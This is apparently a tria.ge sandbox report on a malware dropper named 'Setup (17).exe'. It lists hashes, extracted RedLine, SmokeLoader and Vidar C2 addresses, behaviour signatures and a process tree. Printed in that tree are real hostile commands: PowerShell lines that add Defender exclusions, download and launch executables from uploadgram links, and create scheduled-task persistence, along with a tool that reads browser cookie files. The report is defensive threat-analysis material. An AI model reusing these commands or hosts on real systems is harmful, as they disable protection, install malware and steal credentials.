Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

15/10/2024, 15:36 UTC

241015-s1zlzasdkc 10

01/07/2024, 18:32 UTC

240701-w6yteawhmq 10

01/07/2024, 14:52 UTC

240701-r82wmaxdnd 10

01/07/2024, 14:52 UTC

240701-r8syqa1dpp 10

11/03/2024, 21:22 UTC

240311-z8dsssgg58 10

01/09/2021, 13:18 UTC

210901-5bmxjspa5s 10

01/09/2021, 13:04 UTC

210901-te4btfspqa 10

01/09/2021, 05:12 UTC

210901-4wnkwm1p3j 10

31/08/2021, 21:47 UTC

210831-41rp97dma2 10

Analysis

  • max time kernel
    560s
  • max time network
    1794s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21/08/2021, 10:21 UTC

General

  • Target

    Setup (17).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Language
ps1
Deobfuscated
1
(new-object system.net.webclient).downloadfile("https://dl.uploadgram.me/6120bc6269f31h?raw", "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\installer.exe")
2
URLs
exe.dropper

https://dl.uploadgram.me/6120bc6269f31h?raw

Extracted

Language
ps1
Deobfuscated
1
(new-object system.net.webclient).downloadfile("https://dl.uploadgram.me/6120bcfeb5393h?raw", "C:\\Users\\Admin\\AppData\\Roaming\\\\RuntimeBroker.exe")
2
URLs
exe.dropper

https://dl.uploadgram.me/6120bcfeb5393h?raw

Extracted

Language
ps1
Deobfuscated
1
(new-object system.net.webclient).downloadfile("https://dl.uploadgram.me/6120c8f91373ch?raw", "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\launcher.exe")
2
URLs
exe.dropper

https://dl.uploadgram.me/6120c8f91373ch?raw

Extracted

Family

redline

Botnet

www

C2

185.204.109.146:54891

Extracted

Family

redline

Botnet

Second_7.5K

C2

45.14.49.200:27625

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32
1
0x3b22e540
rc4.i32
1
0xa6b397e0

Extracted

Family

vidar

Version

40.1

Botnet

937

C2

https://eduarroma.tumblr.com/

Attributes
  • profile_id

    937

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • Blocklisted process makes network request 26 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 12 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 7 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 12 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 13 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 23 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 28 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 36 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 20 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 31 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious behavior: SetClipboardViewer 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 56 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
    • Suspicious use of SetThreadContext
    PID:2804
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k SystemNetworkService
      2⤵
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      PID:7288
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
    1⤵
      PID:2660
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
        PID:2636
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2484
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
            PID:2472
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1820
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1416
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1300
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1220
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1084
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:356
                      • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                        C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                        2⤵
                          PID:4420
                      • C:\Users\Admin\AppData\Local\Temp\Setup (17).exe
                        "C:\Users\Admin\AppData\Local\Temp\Setup (17).exe"
                        1⤵
                        • Checks computer location settings
                        • Modifies system certificate store
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:416
                        • C:\Users\Admin\Documents\qZYVSjOonAyxSbwXyt7YpsUG.exe
                          "C:\Users\Admin\Documents\qZYVSjOonAyxSbwXyt7YpsUG.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3628
                          • C:\Users\Admin\Documents\qZYVSjOonAyxSbwXyt7YpsUG.exe
                            "C:\Users\Admin\Documents\qZYVSjOonAyxSbwXyt7YpsUG.exe"
                            3⤵
                              PID:7892
                          • C:\Users\Admin\Documents\VwQqyIEtIQiqOFuVWw7gWHZj.exe
                            "C:\Users\Admin\Documents\VwQqyIEtIQiqOFuVWw7gWHZj.exe"
                            2⤵
                            • Executes dropped EXE
                            • Checks BIOS information in registry
                            • Checks whether UAC is enabled
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2128
                          • C:\Users\Admin\Documents\FosKB2Mcs9Etrf3_yllW3zpq.exe
                            "C:\Users\Admin\Documents\FosKB2Mcs9Etrf3_yllW3zpq.exe"
                            2⤵
                            • Executes dropped EXE
                            PID:1828
                            • C:\Users\Admin\Documents\FosKB2Mcs9Etrf3_yllW3zpq.exe
                              C:\Users\Admin\Documents\FosKB2Mcs9Etrf3_yllW3zpq.exe
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4912
                          • C:\Users\Admin\Documents\d8r7FHyHJCrDCGERrQWIRqLO.exe
                            "C:\Users\Admin\Documents\d8r7FHyHJCrDCGERrQWIRqLO.exe"
                            2⤵
                            • Executes dropped EXE
                            • Drops file in Program Files directory
                            PID:1320
                            • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                              "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:4384
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                4⤵
                                • Executes dropped EXE
                                PID:2608
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:2480
                            • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                              "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                              3⤵
                              • Executes dropped EXE
                              PID:4444
                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                4⤵
                                  PID:4108
                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  4⤵
                                  • Executes dropped EXE
                                  PID:820
                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  4⤵
                                  • Executes dropped EXE
                                  PID:5472
                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  4⤵
                                  • Executes dropped EXE
                                  PID:6116
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 4444 -s 1548
                                  4⤵
                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                  • Program crash
                                  PID:5436
                              • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Drops file in Program Files directory
                                PID:4408
                            • C:\Users\Admin\Documents\xzwin0Fq7tS5zKWYkHV0djCV.exe
                              "C:\Users\Admin\Documents\xzwin0Fq7tS5zKWYkHV0djCV.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:3448
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 664
                                3⤵
                                • Program crash
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:204
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 712
                                3⤵
                                • Program crash
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4952
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 660
                                3⤵
                                • Program crash
                                PID:1828
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 804
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2376
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1120
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5116
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1160
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5016
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1172
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4184
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1112
                                3⤵
                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                • Program crash
                                PID:5080
                            • C:\Users\Admin\Documents\1vooYukf6WU6k9MpHAnkwqrX.exe
                              "C:\Users\Admin\Documents\1vooYukf6WU6k9MpHAnkwqrX.exe"
                              2⤵
                              • Executes dropped EXE
                              • Checks BIOS information in registry
                              • Checks whether UAC is enabled
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3180
                            • C:\Users\Admin\Documents\KdXpfhLTQ3BBgoWVLj7U9y3v.exe
                              "C:\Users\Admin\Documents\KdXpfhLTQ3BBgoWVLj7U9y3v.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:3424
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 660
                                3⤵
                                • Program crash
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1344
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 712
                                3⤵
                                • Program crash
                                PID:5016
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 696
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1608
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 704
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2592
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 1120
                                3⤵
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1928
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 1176
                                3⤵
                                • Program crash
                                PID:864
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3424 -s 1172
                                3⤵
                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                • Program crash
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2436
                            • C:\Users\Admin\Documents\31PX_ym4OSr3ASnyn_2pd3hh.exe
                              "C:\Users\Admin\Documents\31PX_ym4OSr3ASnyn_2pd3hh.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:700
                            • C:\Users\Admin\Documents\YKliaHJeiJ_5l1avEzMVfFKQ.exe
                              "C:\Users\Admin\Documents\YKliaHJeiJ_5l1avEzMVfFKQ.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3940
                            • C:\Users\Admin\Documents\7HS9H3G8r_cKvEziTmf7FTb_.exe
                              "C:\Users\Admin\Documents\7HS9H3G8r_cKvEziTmf7FTb_.exe"
                              2⤵
                              • Executes dropped EXE
                              • Checks BIOS information in registry
                              • Checks whether UAC is enabled
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2744
                            • C:\Users\Admin\Documents\eQZ3Lk9N1DfBVb17awS4tAvF.exe
                              "C:\Users\Admin\Documents\eQZ3Lk9N1DfBVb17awS4tAvF.exe"
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:3992
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 760
                                3⤵
                                • Program crash
                                PID:4064
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 788
                                3⤵
                                • Program crash
                                PID:5440
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 736
                                3⤵
                                • Program crash
                                PID:5684
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 824
                                3⤵
                                • Program crash
                                PID:6028
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 992
                                3⤵
                                • Program crash
                                PID:5288
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 980
                                3⤵
                                • Program crash
                                PID:4052
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1004
                                3⤵
                                • Program crash
                                PID:5616
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1452
                                3⤵
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Program crash
                                PID:4416
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1476
                                3⤵
                                • Program crash
                                PID:3812
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1384
                                3⤵
                                • Program crash
                                PID:6104
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1468
                                3⤵
                                • Program crash
                                PID:6032
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 124
                                3⤵
                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                • Program crash
                                PID:6444
                            • C:\Users\Admin\Documents\C8p6WY4rgSY35SGOqyJOVWQv.exe
                              "C:\Users\Admin\Documents\C8p6WY4rgSY35SGOqyJOVWQv.exe"
                              2⤵
                              • Executes dropped EXE
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious behavior: MapViewOfSection
                              PID:3932
                            • C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe
                              "C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe"
                              2⤵
                                PID:3608
                                • C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe
                                  C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5028
                                • C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe
                                  C:\Users\Admin\Documents\UzU1aE0pfbqarCVa7XvdCz0i.exe
                                  3⤵
                                  • Executes dropped EXE
                                  PID:4860
                              • C:\Users\Admin\Documents\es0CMIl9agW6vIuu4OFL59GL.exe
                                "C:\Users\Admin\Documents\es0CMIl9agW6vIuu4OFL59GL.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2504
                              • C:\Users\Admin\Documents\_t8eNnwX6KYKfXkwloHxOTPI.exe
                                "C:\Users\Admin\Documents\_t8eNnwX6KYKfXkwloHxOTPI.exe"
                                2⤵
                                  PID:2480
                                  • C:\Users\Admin\Documents\_t8eNnwX6KYKfXkwloHxOTPI.exe
                                    C:\Users\Admin\Documents\_t8eNnwX6KYKfXkwloHxOTPI.exe
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4904
                                • C:\Users\Admin\Documents\D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                  "C:\Users\Admin\Documents\D1EfYRA9RC4OkRzdWYnFh5GO.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1496
                                • C:\Users\Admin\Documents\eiGd2JDUU0dN9M83B3cf5hCN.exe
                                  "C:\Users\Admin\Documents\eiGd2JDUU0dN9M83B3cf5hCN.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1636
                                • C:\Users\Admin\Documents\1fbz9vi6vgAk8S1D8uvUEkxO.exe
                                  "C:\Users\Admin\Documents\1fbz9vi6vgAk8S1D8uvUEkxO.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1668
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
                                    3⤵
                                      PID:3732
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                        4⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3052
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                        4⤵
                                          PID:6920
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                          4⤵
                                            PID:9096
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                            4⤵
                                              PID:6248
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
                                              4⤵
                                              • Blocklisted process makes network request
                                              PID:2196
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
                                              4⤵
                                              • Blocklisted process makes network request
                                              PID:5292
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe')
                                              4⤵
                                              • Blocklisted process makes network request
                                              PID:6584
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\installer.exe'
                                              4⤵
                                                PID:3676
                                                • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                  5⤵
                                                    PID:2100
                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                      6⤵
                                                        PID:8204
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                          7⤵
                                                            PID:6348
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                          6⤵
                                                            PID:6040
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              7⤵
                                                                PID:2228
                                                              • C:\Users\Admin\AppData\Local\Temp\svchost32.exe
                                                                C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                7⤵
                                                                • Drops file in System32 directory
                                                                PID:3540
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
                                                                  8⤵
                                                                  • Blocklisted process makes network request
                                                                  • Checks computer location settings
                                                                  • Loads dropped DLL
                                                                  • Enumerates connected drives
                                                                  • Modifies system certificate store
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  PID:6452
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
                                                                    9⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:8996
                                                                • C:\Windows\system32\services32.exe
                                                                  "C:\Windows\system32\services32.exe"
                                                                  8⤵
                                                                    PID:7208
                                                                    • C:\Windows\system32\cmd.exe
                                                                      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                                                      9⤵
                                                                        PID:6932
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                          10⤵
                                                                            PID:4032
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
                                                                        8⤵
                                                                          PID:8864
                                                                          • C:\Windows\system32\choice.exe
                                                                            choice /C Y /N /D Y /T 3
                                                                            9⤵
                                                                              PID:8656
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe'
                                                                    4⤵
                                                                      PID:2816
                                                                      • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
                                                                        "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
                                                                        5⤵
                                                                        • Adds Run key to start application
                                                                        • Suspicious behavior: SetClipboardViewer
                                                                        PID:4248
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
